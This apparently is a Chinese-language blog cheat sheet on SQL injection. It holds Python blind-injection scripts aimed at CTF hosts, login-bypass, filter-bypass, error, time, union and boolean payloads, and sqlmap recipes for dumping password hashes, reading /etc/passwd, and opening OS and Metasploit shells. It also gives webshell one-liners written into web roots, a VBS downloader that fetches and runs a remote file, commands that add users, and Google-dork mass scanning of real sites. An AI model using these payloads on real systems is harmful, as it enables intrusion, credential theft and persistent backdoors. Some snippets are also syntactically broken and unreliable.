SQL注入知识点全

2022-12-16 11:55 103阅读 0赞

SQL注入学习

  • 基础知识点
  • 盲注脚本
  • 常用的后台类型
    • 万能密码
    • 过滤函数
    • union绕过型
    • sql异或注入与盲注
  • SQL绕过学习
    • 典型绕过例题
  • 盲注常用函数
  • 命令
    • 枚举命令
    • 文件系统命令
    • 文件执行命令
    • 典型命令
  • 注入知识
    • 报错注入
    • 时间注入
    • 布尔盲注
    • union常用注入语句
    • 盲注常用payload
    • 其余类型典型payload总结
  • 注入点
    • 典型四个
  • sql注入实战案例

基础知识点

sql注入基础知识点

盲注脚本

脚本格式一==–>参数为username与password的
更改username中的payload即可

  1. #-*- coding:utf-8 -*-
  2. from urllib.request import urlopen
  3. from urllib import parse,request
  4. import sys
  5. import threading
  6. url = 'http://11bc12886f7d4d28b33fedb94948cc8cb2ab9a1e14b447df.changame.ichunqiu.com/Challenges/index.php'
  7. def get_database_length():
  8. for i in range(1,sys.maxsize):
  9. username= "admin' or length(database())>{0}#"
  10. username = username.format(i)
  11. values = {
  12. "username":username, 'password':''}
  13. data = parse.urlencode(values).encode('utf-8')
  14. response = request.Request(url, data)
  15. response = urlopen(response)
  16. if len(response.read().decode()) != 4:
  17. print("当前数据库长度为:", i)
  18. return i
  19. def get_database_name():
  20. global lock
  21. lit=list("0123456789qwertyuioplkjhgfdsazxcvbnmPOIUYTREWQASDFGHJKLMNBVCXZ")
  22. #后台SQL语句形如:
  23. #select xxx from xxx where username='' or 其他字段=xxx#
  24. #我们把其他字段替换成user_n3me或者p3ss_w0rd即可得出表中的用户名和密码字段
  25. username="admin' or p3ss_w0rd like '{0}%'#"
  26. # username="admin' or p3ss_w0rd like '{0}%'#"
  27. database=''
  28. print("Start to retrive the database")
  29. while True:
  30. curId=0
  31. while True:
  32. if curId == len(lit):
  33. break
  34. i = curId
  35. curId += 1
  36. un=username.format(database+lit[i])
  37. print(un)
  38. values = {
  39. "username":un, 'password':''}
  40. data = parse.urlencode(values).encode('utf-8')
  41. response = request.Request(url, data)
  42. response = urlopen(response)
  43. if len(response.read().decode()) == 4:
  44. database=database+lit[i]
  45. print("the database is :%s" % database)
  46. break
  47. if curId == len(lit):
  48. print(database)
  49. break
  50. #print(get_database_length())
  51. get_database_name()

盲注注入类型为一个post请求类
典型可使用
更改参数和payload进行代即可

  1. import string
  2. import requests
  3. url = 'http://11bc12886f7d4d28b33fedb94948cc8cb2ab9a1e14b447df.changame.ichunqiu.com/Challenges/index.php'
  4. headers = { 'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
  5. payloads = string.ascii_letters + string.digits
  6. temp = ''
  7. for i in range(40):
  8. print("hello")
  9. for p in payloads:
  10. payload = temp + p
  11. name = "admin' or user_n3me like '{}%' ;#".format(payload)
  12. data = dict(username=name, passwrod='test')
  13. res = requests.post(url, headers=headers, data=data)
  14. if (len(res.content) == 12):
  15. temp = temp + p
  16. print(temp.ljust(32, '.'))
  17. break

布尔注入且请求为两个post类
更改payload与参数即可使用
布尔注入常用的payload

  1. #payload
  2. #原理-->if(expr1,expr2,expr3)函数来盲注,判断语句,当第一条语句是正确就执行第二条语句,不正确就执行第三条语句
  3. if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))
  4. if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)#即截取的内容等于f
  5. if(ascii(substr((select flag from flag),%d,1))>%d,1,2)" % (x, mid)#即直接利用代-->即改里面的查询内容即可

脚本1

  1. import requests
  2. url = 'http://64ed7296-9aea-43ac-84ec-24e5c6f616a7.node1.buuoj.cn/index.php'
  3. result = ''
  4. for x in range(1, 50):
  5. high = 127
  6. low = 32
  7. mid = (low + high) // 2
  8. while high > low:
  9. payload = "if(ascii(substr((select flag from flag),%d,1))>%d,1,2)" % (x, mid)#
  10. data = {
  11. "id":payload
  12. }
  13. response = requests.post(url, data = data)
  14. if 'Hello' in response.text:
  15. low = mid + 1
  16. else:
  17. high = mid
  18. mid = (low + high) // 2
  19. result += chr(int(mid))
  20. print(result)

脚本2

  1. import requests
  2. import re
  3. register_url = 'http://220.249.52.133:40821/register.php'
  4. login_url = 'http://220.249.52.133:40821/login.php'
  5. for i in range(1, 100):
  6. register_data = {
  7. 'email': '111@123.com%d' % i,
  8. 'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
  9. 'password': 'admin'
  10. }
  11. res = requests.post(url=register_url, data=register_data)
  12. login_data = {
  13. 'email': '111@123.com%d' % i,
  14. 'password': 'admin'
  15. }
  16. res_ = requests.post(url=login_url, data=login_data)
  17. code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
  18. print(chr(int(code.group(1))), end='')

脚本3

  1. import requests
  2. import time
  3. #url是随时更新的,具体的以做题时候的为准
  4. url = 'http://165c605a-334c-4763-aba0-c01fabe7651a.node3.buuoj.cn/index.php'
  5. data = { "id":""}
  6. flag = 'flag{'
  7. i = 6
  8. while True:
  9. #从可打印字符开始
  10. begin = 32
  11. end = 126
  12. tmp = (begin+end)//2
  13. while begin<end:
  14. print(begin,tmp,end)
  15. time.sleep(1)
  16. data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
  17. r = requests.post(url,data=data)
  18. if 'Hello' in r.text:
  19. begin = tmp+1
  20. tmp = (begin+end)//2
  21. else:
  22. end = tmp
  23. tmp = (begin+end)//2
  24. flag+=chr(tmp)
  25. print(flag)
  26. i+=1
  27. if flag[-1]=='}':
  28. break

布尔盲注类型且注入类型为get类

  1. import requests
  2. url = "http://11bc12886f7d4d28b33fedb94948cc8cb2ab9a1e14b447df.changame.ichunqiu.com/Challenges/index.php"
  3. result = ""
  4. for i in range(1,50):
  5. low = 32
  6. high =128
  7. mid = (high+low)//2
  8. while(low<high):
  9. payload ="0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
  10. html = requests.get(url+payload)
  11. if "YES" in html.text:
  12. low = mid+1
  13. else:
  14. high = mid
  15. mid = (high+low)//2
  16. if(low ==32 or high==128):
  17. break
  18. result = result + chr(mid)
  19. print(result)
  20. #最基础的布尔注入,要爆其他内容,更改payload即可
  21. #import requests
  22. url="http:www.example.com"
  23. result=""
  24. for i in range(1,100):
  25. for j in range(40,128):
  26. payload="ascii(substr(database()%09from%09{0}%09for%091))={1}".format(i,j)
  27. html=requests.get(url+payload)
  28. if "" in html.text
  29. result=result+chr(j)
  30. print(result)

常用的后台类型

万能密码

万能密码情况1的逻辑代码

  1. $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";

导致原因:对输入参数没有过滤
因此可以进行构造闭合实现绕过密码检测
因此代码可

  1. user=admin')# user=admin')--+
  2. #闭合且注释掉密码,从而实现绕过

万能密码情况2

  1. string sql = select * from users where username = 'input_username' and password = 'input_password';

如果没有过滤掉’ 和=号–>即输入该不会报错这种情况
即可构造

  1. username='='&password='='

从而实现绕过
因为’’=’’在sql中含义为真

过滤函数

如过滤掉反斜杠和单引号,双引号的情况
即利用该函数

  1. function clean($str){
  2. if(get_magic_quotes_gpc()){
  3. $str=stripslashes($str);//删除反斜杠,去掉转义
  4. }
  5. return htmlentities($str, ENT_QUOTES);//编码双引号和单引号
  6. }

union绕过型

即该类型

  1. $user = $_POST[user];
  2. $pass = md5($_POST[pass]);
  3. $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));

因此可构造union联合查询–>即闭合前面的语句后进行查询后面的语句状况特点

  1. Username=' union select '9b17d9b51d0d090939ca6ff11c7d8c1b&Password=jedi
  2. #前面的为jedi的md5-->即构造两个相同

过滤很多类型
思路
①模糊测试判断那些被过滤掉了
典型出现这种情况
Sql injection detected–>即该字符的payload被过滤掉了
②正常的返回密码或者账号错误类–>即无过滤

如典型updatexml没有被过滤

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

使用方法–>更改select database语句为自己想查询的语句即可

  1. select updatexml(1,concat(0x7e,(SELECT database()),0x7e),1);

③骚思路–

http分割注入
(把一个想执行的语句,拆散到两个参数里,并注释中间的东西,来达到注入的目的)

  1. username=admin' or updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or '1

sql异或注入与盲注

SQL绕过学习

注意点特殊操作
①#使用时,如果传入时,如果无法实现注释–>可以url编码,防止无法实现注释功能
②如果关键字类被过滤–>拆分sql语句从而绕过–>即prepare与excute进行绕过

  1. -1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#

③空格绕过特殊字符
判断是否过滤掉空格–>单独测其他字符是否可用,然后在联用空格看判定是否可用,如果前可,后不可即被过滤

  1. %20 %09 %0a %0b %0c %0d %a0 %00 /**/ ()

④如果注释符全部都被过滤
构造闭合的查询语句进行绕过

  1. id=-1' union select 1,2,3'

⑤绕”和’
如果过滤了”或者’,但是没过滤
可利用\的转义功能进行逃逸
⑥绕information_schema.columns
过滤,直接information_schema.%09columns或者
information_schema.%09tables

  1. 查询语句为
  2. select * from wp_news where id='可控1' and title='可控2';
  3. 可构造
  4. select * from wp_news where id='a\' and title='or sleep(1)#'

参考链接
10种典型的绕过方式

在这里插入图片描述
在这里插入图片描述

典型绕过例题

绕过1

  1. <?php
  2. $flag="";
  3. function replaceSpecialChar($strParam){
  4. $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
  5. return preg_replace($regex,"",$strParam);
  6. }
  7. if (!$con)
  8. {
  9. die('Could not connect: ' . mysqli_error());
  10. }
  11. if(strlen($username)!=strlen(replaceSpecialChar($username))){
  12. die("sql inject error");
  13. }
  14. if(strlen($password)!=strlen(replaceSpecialChar($password))){
  15. die("sql inject error");
  16. }
  17. $sql="select * from user where username = '$username'";
  18. $result=mysqli_query($con,$sql);
  19. if(mysqli_num_rows($result)>0){
  20. while($row=mysqli_fetch_assoc($result)){
  21. if($password==$row['password']){
  22. echo "登陆成功<br>";
  23. echo $flag;
  24. }
  25. }
  26. }
  27. ?>
  28. 绕过思路
  29. #利用group by与with rollup进行绕

原理:
普通一次查询
在这里插入图片描述
经过一次group by后的查询(count(*)为统计和)
在这里插入图片描述
在经过一次with rollup后的查询
在这里插入图片描述
即会对重和的置换为空
因此最终的payload
username=admin’//or//1=1//group//by//password//with/**/rollup#&password=

绕过2

  1. ($password==$_SESSION['password'])
  2. 直接将PHPSESSID中删除即,然后均删除即可绕过

绕过3

  1. 利用
  2. and like 语句+爆破获取密码
  3. 思路
  4. ①匹配出多少个字符
  5. and pwd like '%%%%%'
  6. ②匹配出账户密码
  7. 一个一个%进行代替换爆破

盲注常用函数

①substr()
substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后
②substring()
用法和substr()一样
mid()
用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的
③left()和right()
left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
④limit
limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始
⑤ascii()和char()
ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符

sql常用知识点

命令

枚举命令

  1. 指定注入方式
  2. RT:
  3. B : 基于Boolean的盲注(Boolean based blind
  4. Q : 内联查询(Inline queries
  5. T : 基于时间的盲注(time based blind
  6. U : 基于联合查询(Union query based
  7. E : 基于错误(error based
  8. S : 栈查询(stack queries
  9. python sqlmap.py r header.txt --technique B -p username --current-user
  10. --random-agent 设置代理
  11. --crawl=2 爬取
  12. --cookie "参数" --level=2 cookie注入
  13. -b, --banner 检索数据库管理系统的标识
  14. --current-user 检索数据库管理系统当前用户
  15. --current-db 检索数据库管理系统当前数据库
  16. --is-dba 检测DBMS当前用户是否DBA
  17. --users 枚举数据库管理系统用户
  18. --passwords 枚举数据库管理系统用户密码哈希
  19. --privileges 枚举数据库管理系统用户的权限
  20. --roles 枚举数据库管理系统用户的角色
  21. --dbs 枚举数据库管理系统数据库
  22. --tables 枚举的DBMS数据库中的表
  23. --columns 枚举DBMS数据库表列
  24. --dump 转储数据库管理系统的数据库中的表项
  25. --dump-all 转储所有的DBMS数据库表中的条目
  26. --search 搜索列(S),表(S)和/或数据库名称(S
  27. -D DB 要进行枚举的数据库名
  28. -T TBL 要进行枚举的数据库表
  29. -C COL 要进行枚举的数据库列
  30. -U USER 用来进行枚举的数据库用户
  31. --exclude-sysdbs 枚举表时排除系统数据库
  32. --start=LIMITSTART 第一个查询输出进入检索
  33. --stop=LIMITSTOP 最后查询的输出进入检索
  34. --first=FIRSTCHAR 第一个查询输出字的字符检索
  35. --last=LASTCHAR 最后查询的输出字字符检索
  36. --sql-query=QUERY 要执行的SQL语句
  37. --sql-shell 提示交互式SQLshell
  38. --second-order 二次注入
  39. #延时注入直接爆表
  40. python3 sqlmap.py -r C:\Python27\sqlmap\sqlmap\bao\post.txt --batch --random-agent --delay=0.3 -p username -D p3rh4ps -T users -C username,password --dump --threads=10
  41. #直接-u传post数据注入
  42. sqlmap.py -u "http://g.1905.com/index.php?m=Home&c=Newsdetail&a=commentlist"
  43. --data="p=1&id=946&type=1"
  44. #搜索命令
  45. 搜索字段为password在数据库中的哪个位置的
  46. python3 sqlmap.py -r C:\Python27\sqlmap\sqlmap\bao\post1.txt -p "txtName" -D "psyTest2009" --search -C password

文件系统命令

  1. --file-read=RFILE 从后端的数据库管理系统文件系统读取文件
  2. sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-read “/etc/passwd” -v 2
  3. --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
  4. sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest
  5. --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
  6. 将本地的内容写到数据库中
  7. sqlmap.py -u "http://www.nxadmin.com/sql-injection.php?id=1" file-write /test/test.txt file-dest /var/www/html/1.txt
  8. 将本地的test.txt写入到站点服务器的html目录下
  9. 还原数据库命令
  10. mysql
  11. restore database xxx from disk='F:\Databak\xxx.bak' with replace;

文件执行命令

  1. --os-cmd=OSCMD 执行操作系统命令 #注意oracle数据库不可执行命令
  2. #--os-cmd=whoami
  3. --os-shell 交互式的操作系统的shell
  4. --os-pwn #反弹shell
  5. --sql-shell#执行sql的命令
  6. #进行执行sql的命令即可
  7. --reg-read 读一个Windows注册表项值
  8. --reg-add 写一个Windows注册表项值数据
  9. --reg-del 删除Windows注册表键值
  10. -f 执行检查广泛的DBMS版本指纹
  11. -b #获取banner信息

sql server的注入命令

  1. #攻击组合命令
  2. 1.)--is-dba#检测是否是dba权限
  3. 2.)寻找绝对路径
  4. sql-shell方法
  5. sql-shell> select @@datadir;
  6. os-shell方法
  7. 网页报错信息
  8. phpinfo、探针
  9. 数据库查询、暴力破解
  10. 3.)sql-shell命令操作
  11. 查询操作
  12. selecthost,user,password from mysql.user#查找账号密码
  13. select load_file(‘D:/EmpireServer/web/index.php’)#读取文件内容
  14. select @@datadir;#获取数据库的存储路径
  15. select @@version;#查看版本
  16. 1. @@version() MYSQL版本
  17. 2. @@database() 当前数据库
  18. 3. @@user() 当前用户
  19. 4. @@datadir 当前数据库路径
  20. 5. @@version_compile_os 操作系统版本
  21. 6. @@plugin_dir 查看mysql插件目录
  22. 7. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION; 开启外连
  23. select IS_SRVROLEMEMBER('sysadmin') #查看是否开启了xp_cmdshell扩展进程模式
  24. select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';#查看是否是SA
  25. 更改操作
  26. updatemysql.user set mysql.host='%' where mysql.user='127.0.0.1';
  27. 写马操作
  28. select '<?php @eval($_POST[1])?>' into outfile '/data/www/heneng/cp/log.php'
  29. 4.)os-cmd -whoami操作直接提权
  30. 1.需要选择网站脚本语言,本次测试是php,所以选择“4
  31. 2.在选择路径中选择“2”,自定义路径,输入“D:/EmpireServer/web”后未能直接执行命令,即直接定义绝对路径
  32. 3.直接os-shell即可
  33. 5.)os-cmd命令的几个骚操作
  34. ①利用os-cmd命令执行增加用户的命令
  35. --os-cmd=net user 90sec 90sec /add
  36. ②利用os-cmd命令执行write写马入磁盘操作
  37. --os-cmd="echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/3.0/383442049/kRskzln4I4J543X55MK/API_Shell.Users.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:\sec.vbs",2:wscript.sleep 1000:Shell.Run ("c:\sec.vbs") > c:\90sec.vbs"
  38. 6.)利用sql-shell直接写马
  39. 如果sql-shell不可的话可以考虑直接获取大马
  40. 或者利用echo进行写马
  41. echo “<%execute(request(“QQ”))%>” >D:\www_root\happyholiday\21.asp
  42. 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'
  43. 7.)sqlmap完全自动化注入
  44. sqlmap -uurl --smart --batch -a
  45. 8.)利用os-pwn返回马思路
  46. --os-pwn --msf-path=/usr/share/metasploit-framework --threads=10

os-cmd进行操作配合路径
在这里插入图片描述
结合google hacking使用

  1. python3 sqlmap.py -g "火线 inurl:php?id=" --batch --level 2 --risk 3 --retries 5 --random-agent --thread 3
  2. python3 sqlmap.py -g "内蒙古 inurl:php?id= " --proxy "http://127.0.0.1:1080" --threads 5 --batch --answer "extending=N,follow=N,keep=N,exploit=n" --smart
  3. -g #谷歌搜索
  4. proxy #代理 (挂了ss就直接代理本地)
  5. threads #线程
  6. batch #自动回复
  7. answer extending=N,follow=N,keep=N,exploit=n #这个可以对一些特定的问题作出回答,在自动化注入中用
  8. smart #当有大量目标时,这个就只检查基于错误的注入点

批量获取sql注入方法
典型sql-shell命令

典型命令

  1. 1)判断当前用户是否是dba
  2. sqlmap.py -u 网址 --is-dba -v 1
  3. 2)--users:列出数据库管理系统用户
  4. sqlmap.py -u 网址 --users -v 0
  5. 3)--passwords:数据库用户密码(hash)
  6. sqlmap.py -u 网址 --passwords -v 0
  7. sqlmap.py -u 网址 --passwords -U sa -v 0 #指定用户的密码
  8. 4)查看用户权限
  9. sqlmap.py -u 网址 --privileges -v 0
  10. sqlmap.py -u 网址 --privileges -U postgres -v 0
  11. 5)查看权限
  12. sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges #查看权限
  13. sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges -U root #查看指定用户权限
  14. 6)绕tamper
  15. tamper "space2morehash.py"
  16. 7
  17. --dump-all --exclude-sysdbs -v 0 #列出当前数据库的所有表
  18. 8.)cookie注入
  19. cookie中的id参数注入类
  20. sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --table --level 2

典型sql注入
sqlmap os-shell命令使用探索
sqlmap tamper绕过

注入知识

报错注入

适用于
–>对于union等关键字被过滤或者空格需要多个类,但空格被过滤类,可以典型利用报错注入爆字段

  1. #①爆库-->利用^绕等同于and
  2. ^extractvalue(1,concat(0x7e,(select(database()))))%23
  3. #②爆表
  4. ^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))%23
  5. #③爆对应数据库的表名
  6. ^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
  7. #④爆字段
  8. ^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
  9. #⑤爆内容
  10. ^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
  11. #left(password,30)-->即如果只爆部分内容类,可以控制从左读取还是从右开始读取进行绕
  12. #right(password,30)-->从右开始绕

时间注入

mysql类型

  1. #单独的
  2. #if(expre1,expre2,expre3)
  3. expre1 true 时,返回 expre2false 时,返回 expre3
  4. #盲注的同时也配合着 mysql 提供的分割函
  5. substrsubstringleft
  6. ##整体使用-->更改115或者r即可
  7. ?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+ ?id=1' and if((substr((select user()),1,1)='r'),sleep(li5),1)--+

oracle
手注

  1. 1=1 and bxrxh like '201902323' escape '\' AND 1=(select decode(substr(user,1,1),'H',DBMS_PIPE.RECEIVE_MESSAGE(CHR(75)||CHR(79)||CHR(102)||CHR(120),5),0) from dual)

oracle时间注入

布尔盲注

原理:

  1. 控制前面的字符进行代比较即可
  2. ①利用比较字符的思路代出
  3. #如
  4. #后台的数据为a
  5. #则可以利用该方式状况进行判断出后面是否相同
  6. id=1 'and 'f‘=’
  7. ②结合大于小于符号类
  8. 1 ' and 'f'<'
  9. ③结合substring(),mid(),substr()等截取函数联合使用
  10. 截取这个查询数据的第一位
  11. select mid((select concat(user,0x7e,pwd)from wp_user),1,1 )

mysql类型

  1. ?id=1' and substr((select user()),1,1)='r' -- + ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
  2. #如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
  3. ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
  4. #若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
  5. #利用or ascii码类代截取判断
  6. -1 or ascii(substr(database() from 1 for 1)) < 120;
  7. #特殊绕法
  8. 将||或变成连接字符进行绕
  9. SQL_MODE
  10. sql_mode:sql_mode是一组mysql支持的基本语法及校验规则。
  11. 设置sql_mode:命令为 SET GLOBAL sql_mode=‘mode’;或者SET SESSION sql_mode=‘mode’;(mode替换为实际配置)。
  12. 常用sql_mode: ​​​​PIPES_AS_CONCAT 将"||"视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数Concat想类似
  13. 其他详情可借鉴 https://blog.csdn.net/ssz1219175635/article/details/88429479
  14. 查询后台语句为
  15. sql = " select " . sql = "select ".sql="select".post[‘query’]."||flag from Flag";
  16. 1;set sql_mode=pipes_as_concat;select 1
  17. 可以利用这个绕
  18. 判断如果输入数字有回显,其余无即可判断后面有||
  19. select *,1|| flag from Flag
  20. select 1 from 即返回的均为1

union常用注入语句

  1. union
  2. #判断注入点类
  3. admin 'or 1=1 union select 1,2,3 # 看回显就完事 group_concat(table_name) from information_schema.tables where table_schema=database() #直接报表的语句 #报字段类-->即直接爆字段 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users' union select group_concat(id,username,password) from content # #爆文件 union select /load_file('/var/www/html/secret.php') #连代系统执行命令类 #联代sysy_eval代 union all select NULL,NULL,NULL,NULL,NULL,sys_eval('Powershell "string="ipconfig";[convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(string))"'),NULL
  4. #写马
  5. powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=\"))) | out-file -filepath D:\xxxxx\xxxxxxx\aspnet_client\system_web\4_0_30319\last3time.aspx;"
  6. ##实战中的一个
  7. ) UNION ALL SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Neqy
  8. place_id=10) UNION ALL SELECT NULL,NULL,NULL,NULL,group_concat(SCHEMA_NAME),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.schemata-- Neqy&active_id=20&active_id=20

盲注常用payload

  1. #ascii码执行的代思路
  2. #爆表名
  3. ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{ 0},1))={ 1}
  4. #爆字段
  5. /**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))=102
  6. 如果过滤了,
  7. ascii(substr((select%09flag%09from%09flag)from%09{ 0}%09for%091))={ 1}

其余类型典型payload总结

  1. #宽字节注入
  2. id=%df' union select 1,0x61646d696e,group_concat(column_name) from information_schema.columns where table_name = char(102,49,52,103) #布尔注入 id=1' and ascii(substr(database(),1,1))>114
  3. #时间注入
  4. id=1' and if(ascii(substr(database(),1,1))>114,sleep(3),null) #爆错注入 id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)
  5. 或者
  6. id=1' and extractvalue(1,concat(0x7e,(select database()))) #写入一句话木马 id=1' union select 1,2,"<?php @eval($_GET['string'])?>" into outfile xxx.php
  7. #注入读取服务器
  8. id=1' union select load_file('/etc/passwd') #亦或注入 id=1'^(ascii(mid((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),1,1))=1)='1'

时间注入

  1. #延时注入
  2. 'and(select*from(select+sleep(5))a)and'a'='
  3. #延迟10秒
  4. #判断哪些语句被过滤
  5. #判断if语句是否被过滤
  6. 'and(select*from(select+sleep(if(1=1,1,3)))a)and'a'= #判断user是否被拦截 继续使用'and(select*from(select+sleep(if(user()='a',1,3)))a)and'a'='去测试,发现延迟六秒。说明user函数没有被拦截 #判断substr是否被拦截 用'and(select*from(select+sleep(if(substr(user(),1,1)='a',1,3)))a)and'a'='去测试,发现没延迟。说明substr被拦截了,接着我使用mid、substring来替换substr函数均被拦截 #判断mid这些语句是否被拦截 用'and(select*from(select+sleep(if(user()+like+'a%25',1,3)))a)and'a'='去测试,发现没延迟。说明mid、substring、like被拦截了 绕代码层过滤的一种思路 'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='
  7. 利用ascii码比较进行绕
  8. user更改为其他的,将数字改为1之类的即可

正则(regexp)注入
适用于过滤了in,like,等于符号,<,>,’类
本质–>即把等于类符号变成了regexp

  1. regexp注入与like注入
  2. #知识点
  3. https://xz.aliyun.com/t/8003#toc-1
  4. #典型题目1
  5. https://blog.csdn.net/weixin_45940434/article/details/103722055
  6. #过滤掉的内容
  7. $check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
  8. #典型题目2
  9. https://blog.csdn.net/qq_42181428/article/details/105061424

手工注入总结

注入点

典型四个

1.)insert

  1. insert into table_name values()
  2. 1.)注入点在table_name
  3. 直接控制表即完事
  4. 2.)注入点在values的参数中
  5. 直接插入一个查询语句即可绕过
  6. 可控位置
  7. insert into wp_user values(1,1,'可控位置');
  8. 思路先闭合,在构造自己想要的字段即可
  9. insert into wp_user values(1,1,'1'),(2,2,(select pwd from wp_user limit 1));

delete

  1. 典型位置-->where语句后
  2. delete from wp_user where id={ 可控};
  3. 控制无法删除方法-->控制时间延缓
  4. and sleep(1)'

update

  1. 典型位置-->set语句后
  2. 如控制id
  3. update wp_user set id={ 3(可控)},user='xxx', where user='123';

select

  1. ①在select_expr
  2. #查询当前时间 select now() 结果:2017-11-11 15:23:11
  3. now()即为select_expr
  4. 盲注还在控制显示位置绕
  5. select now() as title(即查找作为title进行显示)
  6. ②在table_references(即指定数据源处)
  7. 控制表即可
  8. ③注入点在where或者having处(最常见,控制符号闭合代即完事)
  9. ④注入点在group by
  10. ⑤注入点在limitversion()

sql注入实战案例

啊D注入,利用sqlmap的os-cmd写马入磁盘的骚案例
sql注入判断经验
典型利用and语句进行注入思路
全局变量查询






































函数,全局变量 说明
version() 数据库系统版本
@@datadir 数据库文件路径
@@basedir mysql 安装路径
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
database() 当前打开的数据库名

全局变量典型

  1. ①#即如果and语句和or语句没被过滤类且直接可代时可直接利用该思路去注入
  2. and ascii(substr(database(),1,1))>114 and ''='
  3. ②列出100条数据的方法
  4. select top ..... from ... order by ....
  5. select top 100 from user_id order by no --+

实战常用语句

常用payload

  1. and 1=convert(int,stuff((select quotename(PassWord) from Users where LoginName='admin' for xml path('')),1,0,''))--+
  2. ②延时注入的payload
  3. ';WAITFOR DELAY '0:0:5'----+ ③布尔盲注的payload ' AND 4529=4529 AND 'AwIO'='AwIO
文章版权声明:注明蒲公英云原创文章,转载或复制请以超链接形式并注明出处。